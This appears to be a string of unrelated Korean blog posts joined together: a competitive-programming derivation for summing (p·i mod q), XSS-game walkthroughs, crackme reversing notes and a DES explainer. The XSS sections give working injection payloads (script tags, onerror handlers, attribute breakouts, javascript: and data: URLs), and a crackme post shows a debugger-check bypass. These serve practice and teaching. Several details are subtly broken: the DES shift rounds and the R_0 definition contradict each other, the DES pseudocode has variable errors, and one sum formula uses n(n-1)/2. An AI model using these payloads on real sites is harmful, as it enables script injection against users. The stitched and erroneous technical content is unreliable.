주어진 세 개의 정수 p, q, r에 대해서
$$\displaystyle\sum_{i=1}^{n}{((p \cdot i) \text{ mod } q)}$$ 를 계산시오!

(*주의* 전체 합에는 모듈로 연산을 하지 않습니다!)

입력

W: 케이스의 수. ($1\le W \le 10^5$)

각 케이스별로 p, q, n이 차례로 입력된다. ($1\le p,\ q,\ n\le 10^6$)

풀이과정!

채택된 아이디어는 ⭐로 표시했습니다!! 주요한 흐름만 보고 싶다면 ⭐만 보면 됩니다! .

생각 1. 수학박치기!

주의사항이 왜 붙었나 생각해보면,
정답이 전체 합에 나머지 연산을 하는 것이었다면 문제는 아래와 같이 단순화 될 수 있기 때문입니다.

$$\displaystyle (\sum_{i=1}^{n}p \cdot i)\text{ mod q} = (p \cdot {n\cdot(n-1)\over{2}})\text{ mod q}$$

슬프지만 다른 방법을 모색해야 할 거 같습니다...(유유,😢)
. .

생각 2. 반복문박치기!

보이는 대로의 구현을 해보겠습니다!!

result = 0;

for(int i=1; i<=n; i++)
    result += p*i%q;

무지막지한 n 값에 의하여 시간 초과가 발생할 것으로 보입니다... (유유,,😢)

이제부터는 더이상 무얼 할 구석이 없으므로
여기서 뭘 더 어떻게 최적화를 할 수 있을까 고민해봤습니다,,,
. .

생각 3. 무언가 더 수학스러운 것,

반복되는 모듈러들의 합을 단숨에 계산할 수 있는 어떤 수학적 성질이 있을까?

(예를 들면 막 나머지값이 반복된다거나 하는,,,)

슬프게도 p, q, n 사이에 어떤 관계도 제시되지 않아 어려워보입니다... (유유,,,😢)

(만약 p와 q가 서로소였다면 기약잉여계 성질을 사용할 여지가 있습니다. 궁금하다면 페르마 소정리의 증명을 찾아보세요!!)

.

생각 4. floor와 약간의 트릭!🪄⭐

$pi \text{ mod q }$자체를 단순화할 순 없을까?

적절한 정수 n에 대해서 $pi = qn + r$로 표현할 수 있습니다.

해당 정수 n은 $\lfloor {pi\over q}\rfloor$로 표현이 가능하다. (조건이 중요합니다 꼭 기억하십쇼!!) $\displaystyle pi = q\lfloor {pi\over q}\rfloor + r$
$\displaystyle r = pi- q\lfloor {pi\over q}\rfloor = (pi \text{ mod q})$

이를 이용해 본래 식을 표현하면

$\displaystyle\sum_{i=1}^{n}{((p \cdot i) \text{ mod } q)}\ =\ \sum_{i=1}^{n}{(pi- q\lfloor {pi\over q}\rfloor)} \ =\ p\cdot {n(n+1)\over2} - q\sum_{i=1}^{n}\lfloor {pi\over q}\rfloor$

까지 정리가 가능합니다!

여기서부터는 목표가 조금 더 구체적으로 변해,
$\displaystyle\sum_{i=1}^{n}\lfloor {pi\over q}\rfloor$를 어떻게 잘 구할 수만 있다면 문제의 정답에 근접하게 될 것입니다!!!

.

생각 5. floor와 더 많은 트릭!🪄⭐

$\displaystyle\sum_{i=1}^{n}\lfloor {pi\over q}\rfloor$를 어떻게 다룰 수 있을까. - 첫번째 시도

$pi\over q$는 다음과 같이 변형될 여지가 있습니다.

$\displaystyle{p\over q} = \lfloor{p\over q}\rfloor + r\ (0 \le r < 1)$

코드에 쓰기 좋은 형태로 변신시켜보자면,

$\displaystyle{p\over q} = \lfloor{p\over q}\rfloor + {p\mod q \over q}$

p/q + p%q/q 

여기서 floor 연산의 성질 하나를 더 생각해보자면, 어떤 정수 n과 실수 a에 대해서 다음이 성립합니다!!!!

$\lfloor n + a\rfloor = n + \lfloor a\rfloor$

적용하자면,

$\displaystyle\lfloor {pi\over q}\rfloor = \lfloor \lfloor {p\over q}\rfloor{} i \ +\ {p \mod q \over q}i\rfloor = \lfloor {p\over q}\rfloor i + \lfloor {p \mod q\over q} i\rfloor$

($p\over q$를 $\lfloor{p\over q}\rfloor + {p \mod q \over q}$ 로 변신시켰습니다)

이 아이디어 매우 ⭐중요⭐합니다! 이를 적용하면 여기까지도 정리 가능합니다.

$\displaystyle\sum_{i=1}^{n}\lfloor {pi\over q}\rfloor = \sum_{i=1}^{n}(\lfloor {p\over q}\rfloor i + \lfloor {p \mod q\over q} i\rfloor) = \lfloor{p\over q}\rfloor\cdot {n(n+1)\over 2} + \sum_{i=1}^{n}\lfloor {p \mod q\over q}i\rfloor$

이 부분을 코드로 적어보겠습니다. (코드로 작성하고 무언가 힌트를 얻었기 때문입니다)!

result = p/q * n * (n+1) / 2;

for(int i=1; i<=n; i++)
    result += p%q*i/q;

제일 처음 반복문박치기 코드를 가져와 비교해보자면,

result = 0;

for(int i=1; i<=n; i++)
    result += p*i%q;

반복문 부분을 보자면, p에 p%q를 대입한 것과 맥이 상통합니다! f(p, q, n) = (생략...) + f(p%q, q, n) ⭐

생각 6. 그래프를 그리면 보이는 것⭐

$\displaystyle\sum_{i=1}^{n}\lfloor {pi\over q}\rfloor$를 어떻게 다룰 수 있을까. - 두번째 시도

그러나 여전히 $\displaystyle\sum_{i=1}^{n}\lfloor {pi\over q}\rfloor$는 계산이 오래 걸리므로 시그마의 범위를 어떻게든 하지 않으면 안됩니다.

$f(x) = {p\over q}x$ 그래프를 그려보겠습니다.

이때, $$\lfloor {pi\over q}\rfloor$$는, $f(i) = {p\over q}i$ 아래의 양수 격자점들의 갯수로,

$\displaystyle\sum_{i=1}^{n}\lfloor {pi\over q}\rfloor$는 그래프를 포함한 그 아래의 모든 양수 격자점들의 갯수를 의미합니다.

이를 조금 비틀어서 생각해보면, 해당 식을 이렇게 바꿔볼만도 합니다.
$\displaystyle\sum_{i=1}^{n}\lfloor {pi\over q}\rfloor$ = (사각형 내 모든 격자점 - 포함되지 않는 격자점의 수)
이는 바꿔말하면, 해당 그래프를

이렇게 뒤집고 사각형 내부의 격자 중, 그래프 아래의 격자를 빼는 것으로 생각할 수 있습니다.
이때의 그래프 포함 그래프 아래의 격자의 수는
$\displaystyle\sum_{i=1}^{\lfloor {p \over q}n\rfloor}\lfloor {qi\over p}\rfloor$ 입니다.
그 중 정확히 그래프 위에 있는 격자점들은 제외해야합니다.
그러한 점의 개수는 n까지의 숫자 중 q의 배수인 것의 개수이므로, $\displaystyle\lfloor {n \over q}\rfloor$입니다.
따라서 다음과 같은 식을 얻을 수 있습니다.

$\displaystyle\sum_{i=1}^{n}\lfloor {pi\over q}\rfloor = \lfloor{pn \over q}\rfloor n -(\sum_{i=1}^{\lfloor {p \over q}n\rfloor}\lfloor {qi\over p}\rfloor - \lfloor {n \over q}\rfloor)$

이는 p<q 인 상황에선 반복 횟수를 줄일 수 있습니다. f(p, q, n) = (생략...) - f(q, p, p*n/q) ⭐

한 번 정리하고 코드를 볼까요?

$$\displaystyle\sum_{i=1}^{n}\lfloor {pi\over q}\rfloor$$ 연산을 가진 함수를 $sum(p,\ q,\ n)$라고 정의해봅시다.
그러면 다음이 성립합니다! $$\displaystyle sum(p, q, n) = \lfloor{p\over q}\rfloor\cdot {n(n+1)\over 2}\ +\ sum(p\mod q,\ q,\ n)$$ ⭐ (p > q) $$\displaystyle sum(p, q, n) = \lfloor{pn \over q}\rfloor n + \lfloor {n \over q}\rfloor \ -\ sum(q,\ p,\ \lfloor{pn\over q}\rfloor)$$ ⭐ (p<q)

(첫번쩨에 조건이 붙은 것은, p>q가 아닐 때에는 무의미한 재귀가 되기 때문입니다.)

오... 이 흐름은 함수가 계속 함수를 아주 재귀적으로 구현할 수 있겠습니다.

sum(p, q, n){
    ...

    if(p > q)                                        
        return sum(p%q, q, n) + (p/q)*(n*(n+1)/2);
    else if(p < q)
        return n * (p*n/q) + n/q - sum(q, p, p*n/q); 
}

재귀를 하려면 더 엄밀할 필요가 있어 보입니다.

sum(p, q, n) 에서

1. p=q인 경우를 생각해봅시다.
   p==q일 때는 고민할 것도 없이 0입니다. p mod q는 0이기 때문입니다.

2. p = 0이면 결과값은 0입니다.

3. q = 1이면 결과값은 $\displaystyle p{n(n+1)\over2}$입니다.

4. n=0이어도 결과값은 0입니다.

작은 아이디어를 하나 추가해봅니다. p와 q는 함수 내에서 서로를 나누는 데에만 사용이 됩니다.
따라서 각각의 수에 최대공약수를 제해버려도 결과는 같습니다.
함수를 사용할 때 p와 q를 공배수를 제하고 사용한다 가정한다면
조건을 조금 더 깔끔하게 쓸 수 있겠습니다.

즉 다음과 같이 코드가 완성됩니다.

sum(p, q, n){
    if(p == 0 || n == 0)
        return 0;
    if(q == 1)
        return p*n*(n+1)/2

    if(p >= q)                                        
        return sum(p%q, q, n) + (p/q)*(n*(n+1)/2);

    return n * (p*n/q) + n/q - sum(q, p, p*n/q); 
}

문제에서 요구하는 정답이 $\displaystyle\sum_{i=1}^{n}{((p \cdot i) \text{ mod } q)}\ =\ p\cdot {n(n+1)\over2} - q\sum_{i=1}^{n}\lfloor {pi\over q}\rfloor$ 였던 것을 생각해보면 정답은p*n*(n+1)/2 - q*sum(p,q,n)로 계산됩니다.

정답 코드

#include<iostream>
#include<algorithm>

using namespace std;

typedef unsigned long long ull;

ull gcd(ull a, ull b){
    if(a < b) swap(a, b);

    if(b == 0)
        return a;

    return gcd(b, a%b);
}

ull sum(ull p, ull q, ull n){
    if(p == 0 || n == 0)
        return 0;
    if(q == 1)
        return p*n*(n+1)/2;

    if(p >= q)
        return sum(p%q, q, n) + (p/q)*(n*(n+1)/2);

    return n * (p*n/q) + n/q - sum(q, p, p*n/q);
}

int main(void){
    ios::sync_with_stdio(false);
    cin.tie(NULL);
    cout.tie(NULL);
    int w;
    cin>>w;

    while(w--){
        ull p, q, n;
        cin>>p>>q>>n;

        ull g = gcd(p, q);
        ull s = sum(p/g, q/g, n);

        ull result = p*n*(n+1)/2 - q*s;
        cout<<result<<'\n';
    }
    return 0;
}

모든 문제의 목표는 자바스크립트 코드인 alert()를 삽입, 실행시키는 것이다.

level 1

분석

입력한 값을 띄운다.

풀이

아무런 필터링이 없으므로

<script>alert()</script>

를 입력하면 된다.

level 2

분석

소스코드를 들여보면

<td valign="top" class="message-container"> 
 <!--(중략,,,)-->
  <blockquote>
    <test></test>
  </blockquote>
</td>

제대로 입력된 걸 알 수 있다.

풀이

<script></script>만 필터링되므로 스크립트를 실행할 수 있는

<img src="#" onerror="javascript:alert()">

를 입력하면 스크립트가 실행된다.

level 3

분석

선택된 이미지에 따라 URL에서 fragment(#) 뒤의 숫자가 바뀌는 것을 볼 수 있다.

프레그먼트에 임의의 값을 넣으니 다음과 같이 되었고,

그때의 코드는 담음과 같았다

<div id="tabContent">
  Image NaN
  <br>
  <img src="/static/level3/cloudtest.jpg">
</div>

cloud+fragment숫자+.jpg로 img를 불러오는 것 같다.

풀이

위의 가정 하에 img에 onerror를 삽입하면,

' onerror= "javascript:alert()">

실행이 된다!

(사실 "만 쓰니 안돼서 시행착오가 있었다만, javascript에선 '와 "가 구분된다는 점을 고려해 잘 작성하면 된다!)

level 4

분석

이때 로딩 화면의 소스코드는

<body id="level4">
  <!--(중략)-->
  <img src="/static/loading.gif" onload="startTimer('3');">
  <br>
  <div id="message">Your timer will execute in 20seconds.</div>
</body>

사진이 로딩될 대 어떤 javascript 함수를 실행함을 볼 수 있다. 그런데 인자로 받는 값의 형태가 특이하기에, test를 입력해보았다.

이때 소스코드는 다음과 같았다.

<body id="level4">
  <!--(중략)-->
  <img src="/static/loading.gif" onload="startTimer('test');">
  <br>
  <div id="message">Your timer will execute in testseconds.</div>
</body>

startTimer(" + 입력 + ')의 형태인 것으로 보인다.

풀이

적당한 입력을 넣어 startTimer(에서 벗어나 다른 함수를 또한 입력시킬 수 없을까??
있다.

3');alert();('

level 5

분석

그리고 다시 처음으로 돌아온다.

소스코드를 읽어보는 중에 이메일을 입력하는 부분에 걸린
Next>> 가 다음과 같이 구현되어있었다.

<body>
  <!--(중략~~~)-->
  <a herf="confirm">Next >></a>
</body>

next에 다른 값을 넣어 signup 페이지를 요청해보니,

이때의 코드는,

<body>
  <!--(중략~~~)-->
  <a herf="test">Next >></a>
</body>

herf 속성의 값이 바뀐 것을 볼 수 있다.

풀이

~~/signup?next=javascript:alert()
다음과 같이 쿼리를 조정해 재접속하면,
Next>>에 걸린 herf가 javascript:alert()가 되어 클릭하면 alert()가 실행된다.

level 6

(해당 문제는 검색의 힘을 빌렸음을 미리 말씀드립니다.😔)

분석

소스코드를 보니 html에 스크립트 일부를 노출시켰다

(중략)

fragement(#) 로 입력받은 값을 script로 테그로 감싸 html에 추가한다.
시험해보자면

(페이지에 표시된 저 test는 필터링된다)

소스코드상에서 보면 헤더에 스크립트가 다음과 같이

<head>
  <!--(중략)-->
  <script src="/static/gadget.js"></script>
  <script src="test"></script>
</head>

한 번 더 test2로 해보면

<head>
  <!--(중략)-->
  <script src="/static/gadget.js"></script>
  <script src="test"></script>
  <script src="test2"></script>
</head>

이렇게 스크립트 테그가 불어나는 것을 볼 수 있다.

풀이

1. 외부에서 alert()를 실행시키는 js를 가져오기

2. src 속성에서 javascript를 실행시키는 방법이 있는 줄은 몰랐는디,, data:text/javascript,alert() 로 입력하면 src 상에서 스크립트가 실행된다!!

stage #1

분석

t입력 후 Search 버튼을 누르면

입력한 값을 아래에 띄우는 것을 관찰할 수 있습니다.

풀이

어디까지 필터링이 되는지 모르겠으므로 (그리고 스테이지 1이므로)
적당히

<script>alert(document.domain)</script>

을 입력해보았습니다.

통과입니다!

stage #2

분석

test를 입력하고 Search 버튼을 눌러보겠습니다.

입력한 값이 입력 박스에 그대로 남아있는 것을 볼 수 있습니다. html코드를 보면

<input type="text" name="p1" size="50" value="test">

하고 입력한 값이 그대로 남아있는 것을 볼 수 있습니다.

풀이

필터링이 없다고 생각해보면,
" onclick= "javascript:alert(document.domain) 을 입력했을 때

<input type="text" name="p1" size="50" value="" onclik="javascript:alert(document.domain)">

이 되어 입력 박스를 클릭하면 코드가 실행됩니다!

stage #3

분석

입력 박스에 값을 집어넣으면,

위와 같이 검색어와 선택한 나라가 표시되는 것을 알 수 있다.

테그를 입력해보면,

이처럼 필터링이 되는 것을 관찰할 수 있다.

풀이

post 요청을 보면, p1으로는 입력 박스에 넣은 값이,
p2값으론 나라 이름이 들어가는 것을 볼 수 있다.

임의의 값으로 p2를 수정할 시에 다음과 같이

표시되는 것을 관찰할 수 있다. p2에 적절한 스크립트를 입력해주면

이상입니다!

stage #4

분석

스테이지 3과 닮은 페이지입니다.

임의로 country 값을 바꿔도 표시가 되군요.

그러나 이전과 같은 방법은 필터링때문에 어려울 것 같습니다.

f12로 코드를 보니 p1 p2에 이어 p3가 있는 것을 볼 수 있습니다!

post 요청을 확인해보면 p3값도 같이 넘어가는 것을 확인할 수 있습니다.

p3로 어떤 것이 가능할지 찔러보겠습니다. p3의 값을 test로 변경한 후 Search 버튼을 누르면,

<input type="hidden" name="p3" value="test">

화면상에는 보이지 않지만 코드상에는 해당 입력 박스(그러나 숨겨진!)의 value에 들어감을 확인할 수 있습니다.

풀이

p3의 값에 "><script>alert(document.domain)</script> 을 넣어보겠습니다.

그러면 코드가 이와 같이

조작되어!

정답임을 확인할 수 있습니다.

stage #5

분석

이쯤되면 따분한 화면입니다. test를 입력하고 검색하니

이와처럼 입력값이 그대로 남아있는 모습을 볼 수 있습니다.

풀이

여기다가

" onclick="javascript:alert(document.domain)

를 입력하려고 했는데

" onclick= "java 중간에 잘리기에 보니까

<input type="text" name="p1" maxlength="15" size="30" value="test">

maxlength가 15로 제한되어있었습니다.
maxlength를 지우고 다시 입력한 이후,

입력 박스를 클릭해주면 코드가 실행됩니다!

stage #6

분석

이전 문제와 닮아있습니다.

풀이

" onclick= "javascript:alert(document.domain)

이전에 쓴 코드를 한번 더 써보겠습니다.

어 됐다. 아무래도 이전 문제에 요구했던 정답은 브라켓을 닫고, 스크립트 테그를 여는 것이었나보다.

stage #7

분석

이번엔 test말고 바로 코드를 입력해보겠습니다.

" onclick= "javascript:alert(document.domain)

뭔가 됐는데 다릅니다. html 코드를 보면,

<input type="text" name="p1" size="50" value="&quot;" onclick="&quot;javascript:alert(document.domain)">

몇몇 특수문자들이 바뀐 것을 볼 수 있습니다. 그런데 뭔가 특이합니다.
왜

<input type="text" name="p1" size="50" value="&quot; onclick=&quot;javascript:alert(document.domain)">

가 아니라, 저렇게 된거지? 하면서 여러 테스트를 해보니, test test 입력시,

<input type="text" name="p1" size="50" value="test" test="">

이렇게 됩니다. 이상해... 참 이상해.

풀이

test onclick=javascript:alert(document.domain)

이렇게 입력하니 알아서 뒷부분을 속성으로 해석해 따옴표를 붙여,

<input type="text" name="p1" size="50" value="test" onclick="javascript:alert(document.domain)">

가 되어 원하는 코드를 실행할 수 있습니다.

stage #8

분석

해당 링크의 코드는,

<a href="test">test</a>

입니다.

풀이

지금껏 써온 javascript:alert(document.domain) 을 사용하면 href에 바로 저 값이 들어가므로??

링크를 클릭할 시 정답이 됩니다!

이 프로그램은 디버거 프로그램을 탐지하는 기능을 갖고 있다.
디버거를 탐지하는 함수의 이름은 무엇인가?

실행

디버거로 실행시

분석

메인에서 _main_0를 호출하는 것을 볼 수 있다. 일단 이름으로 보았을 때

문제에서 요구하는 정답은 IsDebuggerPresent 이다!

조금 더 분석해보자면...

분기 이후로 printf가 둘 존재하는 것을 보면 IsDebuggerPresent 실행 후 일련의 과정 으로 디버깅 여부를 판단하고 eax에 0 혹은 다른 값을 저장하는 것으로 보인다.
정적 분석으로는 IsDebuggerPresent 의 동작을 알기 어려우니 브레이크 포인트를 걸고 디버거로 분석해보자.

step into

step into

에, 이게 끝이다. 보아하니 [fs:0x30]+2 의 값을 eax에 저장하는 것을 볼 수 있다. 구체적으로 어떤 값이지?!

IsDebuggerPresent 의 호출이 끝나고 eax에는 1이 저장되어있다.

이대로 계속 진행되면 jz를 스무스하게 지나가게 되므로

요로코롬 출력이 된다.

그렇다면 디버거 실행 중 eax값을 0으로 수정해주면 정상인 척 실행시킬 수 있을 것 같다!

요로코롬,

우회가 된다!

번외

자 그러면 fs:0x30 과 [fs:0x30] + 2 에는 무엇이 있을까? 조사해본 결과를 정리해보겠다! . . 여러 세그먼트 레지스터 중, 역할이 고정적인 것들도 있는 반면 운영체제에 따라 역할이 유동적인 것도 있다. fs가 그렇다.

문제로 제시된 프로그램은 32bit 윈도우이며, 32bit 윈도우에서는 fs가 무엇으로 사용되냐면,,,

32비트 윈도우의 FS 레지스터는 유저 모드 기준으로 TIB(Thread Information Block) 이라고 불리는 구조체를 가리킨다. (TEB(Thread Environment Block)라고도 불린다!)

이 구조체는 현재 실행 중인 스레드 에 대한 정보를 저장하고 있다. API 함수를 호출하지 않고도 정보를 얻기 위해 사용된다.

대략적인 구조는 이렇다(참고)

FS:[0x00] : 현재 SEH 프레임 FS:[0x18] : TEB FS:[0x20] : PID FS:[0x24] : TID FS:[0x30] : PEB FS:[0x34] : Last Error Value

우리가 궁금했던 fs:0x30은 PEB(Process Environment Block) 의 주소였다!

0x002 BYTE BeingDebugged; 0x008 void* ImageBaseAddress; 0x00C _PEB_LDR_DATA* Ldr; 0x018 void* ProcessHeap 0x064 DWORD NumberOfProcessors; 0x068 DWORD NtGlobalFlag;

[fs:0x30]+2 는 BeingDebugged 값으로, 프로세스가 디버깅 당하는 중일 때는 1, 아닐 때는 0을 저장하는 부분이다.

참고자료

https://sanseolab.tistory.com/47 https://reverseengineering.stackexchange.com/questions/16336/where-es-gs-fs-are-pointing-to https://ko.wikipedia.org/wiki/Win32_%EC%8A%A4%EB%A0%88%EB%93%9C_%EC%A0%95%EB%B3%B4_%EB%B8%94%EB%A1%9D

비주얼베이직에서 스트링 비교함수 이름은?

실행

특징적인 문자열을 발견했다!

문제 해결 시나리오

정적 분석 툴에서 Error! Das Passwort... 를 찾 아 역참조를 하면 어떤 분기를 볼 수 있을테고
그 전에는 분명 입력된 값과의 문자열 비교가 있을 것이다.

IDA로 확인을 해보려고 했는데,
함수 이름중에 대놓고 __vbaStrCmp 인 것이 있다...! 엄,, 음...
그러나 성실하게 찾아보자면,
뭐 엄 그리 되었수다,
조금 위로 올라가니 이런 부분이 있었다.

문제에서 요구하던 정답은 vbaStrCmp 이다!

번외

해당 분기를 기점으로 비밀번호가 틀릴 시 나오는 문구가 나오는 걸 보면 이 프로그램의 비밀번호는 2G83G35Hs2일지도 모르겠다. 엄,,, 그니까,,

! 그렇다.

암호화

1. 구성

IP = [...]                                             # IP : 64index -> 64index, 일대일 전치, 전치할 인덱스 값 저장
FP = [...]                                             # FP(IP[in]) = in, 일대일 전치, 전치할 인덱스 값 저장

#Feistel
#EPT = [...]                                           # Expansion P-Box table
#SBOX = [[],[],[],..]                                  # S-box
#SPT = [...]                                           # Strait P-box table
#def roundf(block : 32bit, key : 48bit) -> 32bit: ...  # 라운드 함수
#def key_scheduler(key:64bit) -> 48bit array: ...      # 라운드별로 사용할 키를 생성!
def Feistel(block : 64bit, key : 64bit) -> 64bit: ...  # Feistel (후술)

plain = ...                                            # 평문 : 64bit로 나눠 떨어지도록 패딩!
key = ...                                              # key : 64bit 중 parity bit 8개 제외 56비트 사용!(후술)


v1 = [IP[c] for c in plain]                            # 초기 순열 적용

v2 = [Feistel(v1[b:b+64]) for b in range(0, size, 64)] # 각 블록별로 Feistel 적용

v3 = [FP[c] for c in v2]                               # 최종 순열 적용

cipher = v3                                            # 암호화 완료!

2. Feistel 구성

Feistel 구성이라 함은, 다음과 같이

$L_0 := input[:half]\ R_0 := input[half:]\ L_{n+1} := R_n\ R_{n+1} := L_n \oplus roundf(R_n, K_n)$

반 쪼개서 (라운드 함수를 첨가해) 좌우로 섞는 구성이다.

여느 대칭키 암호가 그렇듯, 역연산이 가능하다.

#EPT = [...]                                           # Expansion P-Box table
#SBOX = [[],[],[],..]                                  # S-box
#SPT = [...]                                           # Strait P-box table
def roundf(block : 32bit, key : 48bit) -> 32bit: ...   # 라운드 함수
def key_scheduler(key : 64bit) -> 48bit array: ...     # 라운드별로 사용할 키를 생성!

#자 설명 드갑니다~~
def Feistel(block : 64bit, key : 64bit) -> 64bit:

    #1. 블록을 좌측 반쪽과 우측 반쪽으로 나눈다
    left_half = block[:half]
    right_half = block[half:]

    #2. 라운드별로 사용할 키를 생성합니다!
    key_schedule = key_scheduler(key)

    #3. 16라운드 돌립니다!
    for i in range(16):
        tmp = left_half
        left_half = right_half
        right_half = tmp ^ roundf(right_half, key_scheduler[i])

    #4. 이후 좌측 반쪽과 우측 반쪽을 연접해 반환합니다
    return lefthalf + righthalf

2-1. 라운드 함수 구성

• 입력 : 블록의 반절 : 32bit, 라운드 키 : 48bit
• 출력 : 블록의 반절 : 32bit
• 구조 확장 순열 (Expansion P-Box, EPB) XOR 라운드 키 치환 테이블 (S-Box) 고정 순열 (Straight P-Box, SPB)

라운드 함수

EPB = [...]                                            # EPB : 32bit 입력을 48bit로 확장/전치할 때 사용됨.
SBOX = [[[],[]...],...]                                # S-box : 48bit -> 32bit 치환
SPB = [...]                                            # SPB : 32bit -> 32bit 전치

def roundf(block : 32bit, key : 48bit) -> 32bit:

    #1. 입력된 값을 48비트로 확장!
    expansioned = [block[i] for i in EPT]

    #2. 확장된 값과 라운드 키값을 xor연산!
       expansioned = expansioned ^ key

    #3. SBOX로 48bit -> 32bit로 치환한다
    extraction = [0 for i in range(32)]                # 32bit
    for i in range(8):
        extraction[4*i:4*i+4] = SBOX[i][..][..]        # 후술, 

    #4. SPB로 전치!
    result = [SPB[i] for i in extraction]

    return result

확장 순열 및 고정 순열

EPB = [32, 1, 2, 3, 4, 5,
       4, 5, 6, 7, 8, 9,
       8, 9, 10, 11, 12, 13,
       12, 13, 14, 15, 16, 17,
       16, 17, 18, 19, 20, 21,
       20, 21, 22, 23, 24, 25,
       24, 25, 26, 27, 28, 29,
       28, 29, 30, 31, 32, 1]

SPB = [16, 7, 20, 21, 29, 12, 28, 17,
       1, 15, 23, 26, 5, 18, 31, 10,
       2, 8, 24, 14, 32, 27, 3, 9,
       19, 13, 30, 6, 22, 11, 4, 25]

확장된 순열의 i번 인덱스엔 입력의 EPB[i]번 인덱스 값이 위치함. SPB도 같은 원리이며, SPB는 확장 없이 전치만 함.

(챠카챠카 섞음)

SBOX

이짝이 약간 문제인데, 아무렴 어떤가.

SBOX = [
    # S1
    [
        [14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7],
        [0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8],
        [4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0],
        [15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13]
    ],
     ...
    # S8
    [
        [13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7],
        [1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2],
        [7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8],
        [2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11],
    ]
]

SBOX의 각 원소들은 4비트로 표현될 수 있는 값의 무작위다.

SBOX[i]에 들어있는 2차원 리스트를 보자. 4*16 행렬이다.

어떤 6bit에 대해

MSB와 LSB로 행을 정하고 나머지 네 비트로 열을 정하면

무작위 4비트 값을 뱉어낸다! 이런 방식으로 6bit -> 4bit로 바꾸는 2차원 리스트가 들어있는데,

그런 2차원 리스트가 8개가 있다. 그러니까, SBOX는 6*8bit 를 4*8bit로 변환하는데 사용된다! SBOX : 48bit -> 32bit

2-2. 키 생성 함수 구성

• 입력 : raw key : 64bit

• 출력 : 48bit key가 16개담긴 array

• 구조 패리티 비트 제거 (Parity Bit Drop) 순환쉬프트 (Rotate Left, ROL) 압축 순열 (Comporession P-Box)

  키 생성 함수

def key_scheduler(key : 64bit) -> 48bit array:

result = []

#1.key에서 parity bit를 지워 56bit로 만든다
del_parity = [delete parity bit from key]

#2.키를 반으로 쪼갠다!
left_half = del_parity[:half]
right_half = del_parity[half:]

#3.라운드 횟수만큼 쉬프트
for i in range(16):
    if i in [1, 2, 6, 16]:
        left_half <<< 2
        right_half <<< 2
    else:
        left_half <<< 1
        right_half <<< 1

    #4. 합치고 압축 순열 적용
    tmp = left_half + right_half

    result.append([tmp[CPB[i]] for i in range(48)])

return result

#### 패리티 비트 제거
64bit = 8byte 중 각 바이트의 패리티 비트를 제거해
64 - 8 = 56bit를 반환

#### 쉬프트
56bit를 반으로 나눠
각자 왼쪽으로 1비트씩 순환 쉬프트를 취한다
이 때, 1, 2, 9, 16 라운드에선 2비트씩 순환한다.
$L_0 := key[:half]\\
R_0 := key[:half]\\
L_{n} := \begin{cases}
            L_{n-1}<<<2&if&n\in\{1,2,9,16\}\\
            L_{n-1}<<<1&else\end{cases}\\
R_{n} := \begin{cases}
            R_{n-1}<<<2&if&n\in\{1,2,9,16\}\\
            R_{n-1}<<<1&else\end{cases}
$
#### 압축 순열
56bit 입력을 48bit로 압축시키는 과정이다.
```python
CPB = [14, 17, 11, 24, 1, 5, 3, 28,
        15, 6, 21, 10, 23, 19, 12, 4,
        26, 8, 16, 7, 27, 20, 13, 2,
        41, 52, 31, 37, 47, 55, 30, 40,
        51, 45, 33, 48, 44, 49, 39, 56,
        34, 53, 46, 42, 50, 36, 29, 32]

압축된 순열의 i번 인덱스엔 입력의 CPB[i]번 인덱스 값이 위치하게 한다. (P-Box들은 원리가 다 같다!)

복호화

뭐... 전부 역원이 존재하는 연산이었으므로 복호화는 암호화의 역순입니,,,다,, (언젠가 시간이 남으면 한 번 해보고 올리겠습니다!)

취약점

브루트 포스!

• 대상 : DES
• 목적 : key 획득 및 복호화
• 요구사항 : 암호문 c, (평문 p)

56bit key는 오늘날에는 너무나도 짧아 브루트 포스로도 충분히 알아낼 수 있다고 합니다... 놀라운걸?

중간 일치 공격

• 대상 : 2-DES(이중 DES)
• 목적 : key 획득
• 요구사항 : 평문 p, 암호문 c, 암호화 E, 복호화 D

2-DES는 DES보다 키의 길이가 배로 길다.(DES를 두 번 하기 때문이지!) 그러나 DES는 중간 일치 공격에 약점이 있다.

$E_{k_2}(E_{k_1}(p)) = c$ 위는 우리의 나약한 2-DES다...

$D_{k_2}(E_{k_2}(E_{k_1}(p))) = D_{k_2}(c)\ E_{k_1}(p) = D_{k_2}(c)$ 암호화와 복호화 방식을 알고있고, 평문 p와 암호문 c를 알고 있으므로 위를 성립시키는 k_1과 k_2를 찾는다!

대충 이렇게 표현하는 모양이다 $ sol := {(k_1, k_2)|E_{k_1}(p) = D_{k_2}(c)\space for\space k_1, k_2 \isin K} $

이 짓 하고도 우연하게 일치하는 (k,k)가 둘 이상 있을 수 있다. 그럴땐 평문 p'와 암호문 c'를 하나 더 갖고와서 찾아내야한다...